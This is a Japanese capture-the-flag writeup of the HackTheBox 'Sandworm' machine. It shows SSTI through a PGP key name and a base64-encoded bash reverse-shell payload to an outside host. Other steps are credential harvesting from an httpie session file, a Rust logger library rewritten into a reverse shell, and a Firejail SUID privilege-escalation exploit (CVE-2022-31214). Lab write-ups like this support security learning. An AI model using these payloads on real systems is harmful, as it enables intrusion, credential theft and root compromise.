🥕

【HackTheBox】Sandworm Writeup

2023/11/19に公開

Recon

nmap

┌──(kali㉿kali)-[~]
└─$ nmap -Pn 10.10.11.218             
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Website

ドメイン名のssa.htb/etc/hostsに入れます。
サイトのページを見てみると、https://ssa.htb/guideというページがありました。pgpのencrypt, decrypt, signature verificationができるみたいです。

ページの下に、署名の検証に使えるサンプルのメッセージがありました。公開鍵はhttps://ssa.htb/pgpからコピーできます。また、サイトはflaskで作られています。

pgp demoの動作確認

暗号化と復号のdemoは問題なく使えます。

署名の検証

サンプルメッセージと公開鍵で署名を検証すると、good signatureと書いてあるpopupが出てきました。

このサイトで自分の鍵pgp key pairを作ってでメッセージをsignしてssa.htbで検証してみます。(https://pgptool.org/)

popupのメッセージがGood signiture from "codingotter"に変わりました。codingotterは鍵の生成に使った名前です。user-controlled inputが画面に反映されたので、SSTIできるかも?と思いました。

Test SSTI

pgpの鍵を毎回オンラインツールで生成するのがめんどくさいので、コマンドでやります。鍵生成する時に使う情報をテキストファイルに入れて、pgpコマンドで鍵を作ります。

content.txt
Key-Type: RSA
Key-Length: 1024
Subkey-Type: RSA
Subkey-Length: 1024
Name-Real: {{7*7}}
Name-Email: test@test.com
Expire-Date: 0
Passphrase: password
gpg --batch --gen-key content.txt                                         

適当にテキストをsignして、結果をsigned.txtに保存します。

echo "test" | gpg --clear-sign --passphrase "password" > signed.txt  

公開鍵をexportします。

gpg --armor --export -o pubkey.txt --yes

pubkey.txtsigned.txtの中身をサイトに入れてみたら、popupに49が出力されました。SSTIできました。

別のpayloadを試す前に、さっきのkeyを削除します。

gpg --delete-secret-keys --batch --yes <key-id>
gpg --delete-keys --batch --yes <key-id>

Name-Realを{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}に変えたらidが表示されました。

ではreverse shellを取ります。

Get a Reverse Shell with SSTI

このpayloadを試しましたが実行されませんでした。なんかencodeでもしないといけないのかな。

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('nc 10.10.14.3 9001').read() }}

毎回サイトに公開鍵と署名済みメッセージをコピーしてsubmitするのが大変なので、スクリプトを書きます。

ssti.py
import requests

with open("./pubkey.txt", "r") as f:
	pk = f.read()
with open("./signed.txt", "r") as f:
	message = f.read()

headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate, br',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With': 'XMLHttpRequest',
    'Origin': 'https://ssa.htb',
    'Connection': 'keep-alive',
    'Referer': 'https://ssa.htb/guide',
    'Sec-Fetch-Dest': 'empty',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Site': 'same-origin',
}
data = {
    'signed_text': message, 'public_key': pk,
}

response = requests.post('https://ssa.htb/process', headers=headers, data=data, verify=False)
print(f"{response.status_code}\n{response.text}")

色々実験してみたら、このpayloadでいけました。bash -c "bash -i >& /dev/tcp/10.10.14.3/9001 0>&1"をbase64エンコードして、${IFS}でスペースを書き換えました。

payload
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo${IFS}"YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzkwMDEgMD4mMSIK"|base64${IFS}-d|bash').read() }}

鍵の作成→メッセージ署名→公開鍵のexport→サイトにPOSTします。

gpg --batch --gen-key content.txt
echo "test" | gpg --clear-sign --passphrase "password" > signed.txt
gpg --armor --export -o pubkey.txt --yes 
python3 ssti.py

reverse shell取れました!

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.218] 55020
atlas@sandworm:/var/www/html/SSA$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)

Shell as Altas (in Firejail Sandbox)

user flagがなかったので、silentobserverに切り替える方法を探さないといけないです。

atlas@sandworm:/home$ ls -la
drwxr-xr-x  4 nobody nogroup 4096 May  4  2023 .
drwxr-xr-x 19 nobody nogroup 4096 Jun  7 13:53 ..
drwxr-xr-x  8 atlas  atlas   4096 Jun  7 13:44 atlas
dr--------  2 nobody nogroup   40 Nov 12 09:25 silentobserver

File Enumeration

このシェルはsudogrepなどよくみるコマンドがなかったので、コンテナかサンドボックスの中にいる気がします。/home/atlas/.configの中に2つのフォルダーがありました。

atlas@sandworm:~/.config$ ls -la
drwxrwxr-x 4 atlas  atlas   4096 Jan 15  2023 .
drwxr-xr-x 8 atlas  atlas   4096 Jun  7 13:44 ..
dr-------- 2 nobody nogroup   40 Nov 12 09:25 firejail
drwxrwxr-x 3 nobody atlas   4096 Jan 15  2023 httpie

firejailがあるので、ここはfirejailのサンドボックスみたいですね。httpieの中にsilentobserverのパスワードっぽいものがありました。

atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json
cat admin.json
{
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": "quietLiketheWind22",
        "type": null,
        "username": "silentobserver"
    },
<SNIP>

silentobserver:quietLiketheWind22でsshログインできました。user flag取れました!

Shell as Silentobserver

pspy

pspyでプロセスを見てみます。
rootがaltasとして何かのrust programを実行していることがわかります。

pspyログ
2023/11/13 15:00:01 CMD: UID=0     PID=46256  | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline 

/opt/tipnetを見てみたいと思います。

Source Code Analysis

optの中に2つのディレクトリーがありました。ソースコードが入っています。

silentobserver@sandworm:/opt$ ls
crates tipnet

/opt/tipnet

tipnetのコードを見てみます。長いのでtoggleで、、

/opt/tipnet/src/main.rs(一部)
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;

fn main() {
    let mode = get_mode();
    
    if mode == "" {
            return;
    }
    else if mode != "upstream" && mode != "pull" {
        println!("[-] Mode is still being ported to Rust; try again later.");
        return;
    }

    let mut conn = connect_to_db("Upstream").unwrap();

    if mode == "pull" {
        let source = "/var/www/html/SSA/SSA/submissions";
        pull_indeces(&mut conn, source);
        println!("[+] Pull complete.");
        return;
    }

    println!("Enter keywords to perform the query:");
    let mut keywords = String::new();
    io::stdin().read_line(&mut keywords).unwrap();

    if keywords.trim() == "" {
        println!("[-] No keywords selected.\n\n[-] Quitting...\n");
        return;
    }

    println!("Justification for the search:");
    let mut justification = String::new();
    io::stdin().read_line(&mut justification).unwrap();

    // Get Username 
    let output = Command::new("/usr/bin/whoami")
        .output()
        .expect("nobody");

    let username = String::from_utf8(output.stdout).unwrap();
    let username = username.trim();

    if justification.trim() == "" {
        println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
        logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
        return;
    }
    logger::log(username, keywords.as_str().trim(), justification.as_str());
    search_sigint(&mut conn, keywords.as_str().trim());
}

fn get_mode() -> String {

        let valid = false;
        let mut mode = String::new();
        while ! valid {
                mode.clear();
                io::stdin().read_line(&mut mode).unwrap();

                match mode.trim() {
                        "a" => {
                              println!("\n[+] Upstream selected");
                              return "upstream".to_string();
                        }
                        "b" => {
                              println!("\n[+] Muscular selected");
                              return "regular".to_string();
                        }
                        "c" => {
                              println!("\n[+] Tempora selected");
                              return "emperor".to_string();
                        }
                        "d" => {
                                println!("\n[+] PRISM selected");
                                return "square".to_string();
                        }
                        "e" => {
                                println!("\n[!] Refreshing indeces!");
                                return "pull".to_string();
                        }
                        "q" | "Q" => {
                                println!("\n[-] Quitting");
                                return "".to_string();
                        }
                        _ => {
                                println!("\n[!] Invalid mode: {}", mode);
                        }
                }
        }
        return mode;
}

fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
    let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
    let pool = Pool::new(url).unwrap();
    let mut conn = pool.get_conn().unwrap();
    return Ok(conn);
}

fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
    let keywords: Vec<&str> = keywords.split(" ").collect();
    let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");

    for (i, keyword) in keywords.iter().enumerate() {
        if i > 0 {
            query.push_str("OR ");
        }
        query.push_str(&format!("data LIKE '%{}%' ", keyword));
    }
    let selected_entries = conn.query_map(
        query,
        |(timestamp, target, source, data)| {
            Entry { timestamp, target, source, data }
        },
        ).expect("Query failed.");
    for e in selected_entries {
        println!("[{}] {} ===> {} | {}",
                 e.timestamp, e.source, e.target, e.data);
    }
}

fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
    let paths = fs::read_dir(directory)
        .unwrap()
        .filter_map(|entry| entry.ok())
        .filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
        .map(|entry| entry.path());

    let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash")
        .unwrap();
    let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)")
        .unwrap();
    let now = Utc::now();

    for path in paths {
        let contents = fs::read_to_string(path).unwrap();
        let hash = Sha256::digest(contents.as_bytes());
        let hash_hex = hex::encode(hash);
        let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
        if existing_entry.is_none() {
            let date = now.format("%Y-%m-%d").to_string();
            println!("[+] {}\n", contents);
            conn.exec_drop(&stmt_insert, params! {
                "timestamp" => date,
                "data" => contents,
                "hash" => &hash_hex,
                },
                ).unwrap();
        }
    }
    logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");
}

pspyのログから、tipnetが実行された時のmodeはeになっていることがわかります。e modeではpull_indeces関数が実行ます。
pull_indeces関数は多分こんなことやってます:/var/www/html/SSA/SSA/submissionsの中のファイルのハッシュを計算→ファイルの中身のSHA256ハッシュを計算→ハッシュがまだdbに入っていない場合はファイルの中身とハッシュをdbに入れる
最後にlogger::logが呼ばれています。これのソースコードは/opt/crates/loggerにあります。

/opt/logger

loggerのコードを見てみます。

silentobserver@sandworm:/opt$ ls -la crates/logger/src
total 12
drwxrwxr-x 2 atlas silentobserver 4096 May  4  2023 .
drwxr-xr-x 5 atlas silentobserver 4096 May  4  2023 ..
-rw-rw-r-- 1 atlas silentobserver  732 May  4  2023 lib.rs

silentobserverはloggerのwrite権限があります。

/opt/crates/logger/src/lib.rs
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };
    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}

lib.rsをreverse shellのコードに書き換えてビルドし直すとaltasのシェルが取れるはずです。atlasのシェルは一番最初に取れたシェルだったので、これで合ってるかどうかわからなかったです。
もしかしたらfirejail sandboxの外のシェルになるかもしれないのでやってみます。

Exploit

rust reverse shellのコードをlib.rsに入れます。lib.rsが定期的に削除されるので、早く編集しないといけないです。

lib.rs
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

pub fn log(user: &str, query: &str, justification: &str) {

    let s = TcpStream::connect("10.10.14.3:4444").unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();

    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    <SNIP>
}

保存したらcargo buildでビルドして実行されるのを待ちます。

Shell as Atlas (Escaped from Firejail)

altasのシェルが取れました。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.218] 46046

$ python3 -c "import pty;pty.spawn('/bin/bash')"
atlas@sandworm:/opt/tipnet$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
atlas@sandworm:/opt/tipnet$ which grep
/usr/bin/grep

よく使うコマンド使えるようになったので、これはサンドボックスの外ですね。今回のatlasはjailer groupに入っているので、jailerは何ができるのかを調べたいと思います。とりあえずlinpeasも実行してみます。

linpeasログ
-rwsr-x--- 1 root jailer 1.7M Nov 29  2022 /usr/local/bin/firejail (Unknown SUID binary!)

/usr/local/bin/firejailが実行できるみたいです。exploitを調べます。

Firejail Exploit (CVE-2022-31214)

Firejail suid priv esc exploitで調べたらそれっぽいpocが出てきました。
https://www.openwall.com/lists/oss-security/2022/06/08/10/1

実行してみたら、もう一つのaltasのシェルが必要みたいなので、もう一回シェル取ります。

atlas@sandworm:~$ wget 10.10.14.6:8000/exploit.py
atlas@sandworm:~$ chmod +x exploit.py
atlas@sandworm:~$ ./exploit.py

You can now run 'firejail --join=108417' in another terminal to obtain a shell where 'sudo su -' ot shell.

pocの指示通り、2つ目のシェルにfirejail --join=108417su -を実行します。

atlas@sandworm:/$ firejail --join=108417

firejail --join=108417
changing root to /proc/108417/root
Warning: cleaning all supplementary groups
Child process initialized in 11.36 ms
atlas@sandworm:/$ su -

Shell as Root

rootが取れました!

root@sandworm:~# id        
uid=0(root) gid=0(root) groups=0(root)

pocの説明はここから読めます。
https://www.openwall.com/lists/oss-security/2022/06/08/10

Memo

こういうcontainer/sandbox escapeでpriv escする系が苦手かもしれない、、

Discussion